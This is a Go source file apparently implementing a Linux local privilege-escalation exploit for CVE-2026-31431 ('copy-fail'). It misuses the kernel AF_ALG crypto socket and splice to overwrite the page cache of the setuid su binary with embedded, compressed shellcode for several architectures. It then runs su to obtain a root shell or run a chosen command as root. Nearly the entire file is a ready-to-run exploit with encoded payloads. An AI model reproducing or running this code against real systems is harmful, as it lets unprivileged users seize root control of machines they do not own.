//go:build linux // +build linux package main import ( "bytes" "compress/zlib" "encoding/hex" "flag" "fmt" "io" "log" "os" "os/exec" "runtime" "strings" "time" "unsafe" "golang.org/x/sys/unix" ) const ( // Cryptographic API Socket Constants SOL_ALG = 279 ALG_SET_KEY = 1 ALG_SET_IV = 2 ALG_SET_OP = 3 ALG_SET_AEAD_ASSOCLEN = 4 ALG_SET_AEAD_AUTHSIZE = 5 ) // See payloads/exec-bin-sh-* for the shellcode var payloadsZlibHex = map[string]string{ "amd64": "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c00111d10d3", "386": "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40b806c80461569098000383e101c3db1bae9e6d303c1090a1af5f9c91a19f9499d7f93820b8f361e7a10ddc4089db598c11671b0038b31858", "arm64": "78daab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd06ca5b039787e96cb8e421d47009c8bb0214126004f29980788534540cc4e686b0f59332f3f48b3318003ff61578", } // See payloads/exec-argv1-* for the shellcode var execArgv1ZlibHex = map[string]string{ "amd64": "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e02e5c1680601086578c0f0ff864c7e568fee1a1501c36f59d61133f9590dff67d944f0b3020082b00eaf", "386": "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40381fc80461569098000383e101c3db1bae9e6de88e51e1303c99c51d31f36c83e1ed2cc688b30d001bf41180", "arm64": "789cab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd04ca5b029787e96cb8e421d47009c8bbf280dbe1272390cf04c42ba4216220f915dc103600d72b1509", } // packCmsg constructs a raw Control Message (CMSG) buffer to be sent alongside the payload func packCmsg(level, typ int, data []byte) []byte { cmsgSpace := unix.CmsgSpace(len(data)) b := make([]byte, cmsgSpace) h := (*unix.Cmsghdr)(unsafe.Pointer(&b[0])) h.Level = int32(level) h.Type = int32(typ) h.SetLen(unix.CmsgLen(len(data))) copy(b[unix.CmsgLen(0):], data) return b } // c is the core vulnerability trigger function, replacing 4 bytes of the target file's page cache func c(f *os.File, t int, cData []byte) { // 1. Create AF_ALG cryptographic socket fd, err := unix.Socket(unix.AF_ALG, unix.SOCK_SEQPACKET, 0) if err != nil { log.Fatalf("Socket creation failed: %v", err) } defer unix.Close(fd) // 2. Bind it to the vulnerable Authenticated Encryption wrapper sa := &unix.SockaddrALG{ Type: "aead", Name: "authencesn(hmac(sha256),cbc(aes))", } if err := unix.Bind(fd, sa); err != nil { log.Fatalf("Socket Bind failed: %v", err) } // 3. Setup dummy key and auth sizes keyHex := "0800010000000010" + strings.Repeat("0", 64) keyBytes, _ := hex.DecodeString(keyHex) if err := unix.SetsockoptString(fd, SOL_ALG, ALG_SET_KEY, string(keyBytes)); err != nil { log.Fatalf("Setsockopt(key) failed: %v", err) } if err := unix.SetsockoptInt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 4); err != nil { log.Fatalf("Setsockopt(authsize) failed: %v", err) } // 4. Accept a new operational socket connection. // AF_ALG requires accept(2) with NULL addr/addrlen; unix.Accept passes // non-NULL pointers and the kernel returns ECONNABORTED. See SockaddrALG // docs in golang.org/x/sys/unix. uFdRaw, _, errno := unix.Syscall6(unix.SYS_ACCEPT4, uintptr(fd), 0, 0, 0, 0, 0) if errno != 0 { log.Fatalf("Accept failed: %v", errno) } uFd := int(uFdRaw) defer unix.Close(uFd) // 5. Build Control Messages (CMSG) var oob []byte oob = append(oob, packCmsg(SOL_ALG, ALG_SET_OP, []byte{0, 0, 0, 0})...) // ALG_SET_OP (Decrypt) oob = append(oob, packCmsg(SOL_ALG, ALG_SET_IV, append([]byte{0x10}, make([]byte, 19)...))...) // ALG_SET_IV (20 bytes) oob = append(oob, packCmsg(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, []byte{8, 0, 0, 0})...) // ALG_SET_AEAD_ASSOCLEN // 6. Send payload payload out-of-band configuring encryption state msgData := append([]byte("AAAA"), cData...) err = unix.Sendmsg(uFd, msgData, oob, nil, unix.MSG_MORE) if err != nil { log.Fatalf("Sendmsg failed: %v", err) } // 7. Setup standard pipes for the splice var p [2]int if err := unix.Pipe(p[:]); err != nil { log.Fatalf("Pipe creation failed: %v", err) } defer unix.Close(p[0]) defer unix.Close(p[1]) // 8. Splice magic (Moves read-only page cache refs into the pipe -> then to the crypto socket) o := t + 4 offset := int64(0) // Splice from the target file into the pipe _, err = unix.Splice(int(f.Fd()), &offset, p[1], nil, o, 0) if err != nil { log.Fatalf("Splice (File->Pipe) failed: %v", err) } // Splice from the pipe into the active crypto socket _, err = unix.Splice(p[0], nil, uFd, nil, o, 0) if err != nil { log.Fatalf("Splice (Pipe->Socket) failed: %v", err) } // 9. Consume response, triggering the memory-overwrite condition buf := make([]byte, 8+t) unix.Read(uFd, buf) } func decompressPayload(zlibBytes []byte) []byte { r, err := zlib.NewReader(bytes.NewReader(zlibBytes)) if err != nil { log.Fatalf("Zlib decompression failed: %v", err) } payload, err := io.ReadAll(r) r.Close() if err != nil { log.Fatalf("Read zlib payload: %v", err) } return payload } // resolveSu returns the path to the su binary. It prefers /usr/bin/su when // present; otherwise it walks PATH (via exec.LookPath, equivalent to which(1)). func resolveSu() (string, error) { const fallback = "/usr/bin/su" if _, err := os.Stat(fallback); err == nil { return fallback, nil } p, err := exec.LookPath("su") if err != nil { return "", fmt.Errorf("su not found in PATH and not at %s: %w", fallback, err) } return p, nil } // backupSuBinary copies src to dst before page-cache corruption. Preserves // permission bits including setuid/setgid/sticky and access/modification times. func backupSuBinary(src, dst string) error { var meta unix.Stat_t if err := unix.Stat(src, &meta); err != nil { return fmt.Errorf("stat %s: %w", src, err) } // Cast these to int64 so we can compile for 32 bit architectures atime := time.Unix(int64(meta.Atim.Sec), int64(meta.Atim.Nsec)) mtime := time.Unix(int64(meta.Mtim.Sec), int64(meta.Mtim.Nsec)) in, err := os.Open(src) if err != nil { return fmt.Errorf("open %s: %w", src, err) } defer in.Close() fi, err := in.Stat() if err != nil { return fmt.Errorf("fstat %s: %w", src, err) } const modeMask = os.ModePerm | os.ModeSetuid | os.ModeSetgid | os.ModeSticky out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600) if err != nil { return fmt.Errorf("create %s: %w", dst, err) } defer out.Close() if _, err := io.Copy(out, in); err != nil { return fmt.Errorf("copy to %s: %w", dst, err) } if err := out.Sync(); err != nil { return fmt.Errorf("sync %s: %w", dst, err) } if err := os.Chmod(dst, fi.Mode()&modeMask); err != nil { return fmt.Errorf("chmod %s: %w", dst, err) } if err := os.Chtimes(dst, atime, mtime); err != nil { return fmt.Errorf("chtimes %s: %w", dst, err) } return nil } func main() { var suArgv1 string var useExecArgv1 bool var backupPath string flag.StringVar(&backupPath, "backup", "", "path to copy the su binary to before overwriting") flag.Func("exec", "command to run as root; full path required", func(s string) error { useExecArgv1 = true suArgv1 = s return nil }) flag.Usage = func() { fmt.Fprintf(os.Stderr, "Usage of %s:\n", os.Args[0]) flag.PrintDefaults() fmt.Fprintln(os.Stderr) fmt.Fprintln(os.Stderr, "Go implementation of CVE-2026-31431 (copy-fail).") fmt.Fprintln(os.Stderr, "Overwrites the page cache of su and runs su.") fmt.Fprintln(os.Stderr, "See https://copy.fail for for information.") } flag.Parse() var payloadHex string var ok bool if useExecArgv1 { payloadHex, ok = execArgv1ZlibHex[runtime.GOARCH] if !ok { log.Fatalf("Unsupported architecture for -exec: %s", runtime.GOARCH) } } else { // Pick payload for the running architecture payloadHex, ok = payloadsZlibHex[runtime.GOARCH] if !ok { log.Fatalf("Unsupported architecture: %s (need amd64 or arm64)", runtime.GOARCH) } } payloadZlib, err := hex.DecodeString(payloadHex) if err != nil { log.Fatalf("Invalid hex payload: %v", err) } payload := decompressPayload(payloadZlib) suPath, err := resolveSu() if err != nil { log.Fatalf("%v", err) } if backupPath != "" { if err := backupSuBinary(suPath, backupPath); err != nil { log.Fatalf("Backup failed: %v", err) } log.Printf("Backed up %s to %s", suPath, backupPath) } // Open target file in read-only mode f, err := os.Open(suPath) if err != nil { log.Fatalf("Failed to open target file: %v", err) } defer f.Close() // Iteratively overwrite the page cache of the file, 4 bytes at a time log.Printf("Overwriting page cache of %s with %d bytes", f.Name(), len(payload)) for i := 0; i < len(payload); i += 4 { end := i + 4 if end > len(payload) { end = len(payload) } c(f, i, payload[i:end]) if len(payload) < 10000 { if i%100 == 0 { log.Printf(" ... wrote %d bytes", i+4) } } else { if i%10000 == 0 { log.Printf(" ... wrote %d bytes", i+4) } } } log.Printf(" ... wrote %d bytes", len(payload)) // Execute the now-overwritten binary to trigger privilege escalation log.Println("Executing payload") var cmd *exec.Cmd if useExecArgv1 { cmd = exec.Command("su", suArgv1) } else { cmd = exec.Command("su") } cmd.Stdin = os.Stdin cmd.Stdout = os.Stdout cmd.Stderr = os.Stderr if err := cmd.Run(); err != nil { log.Fatalf("Failed to execute payload: %v", err) } }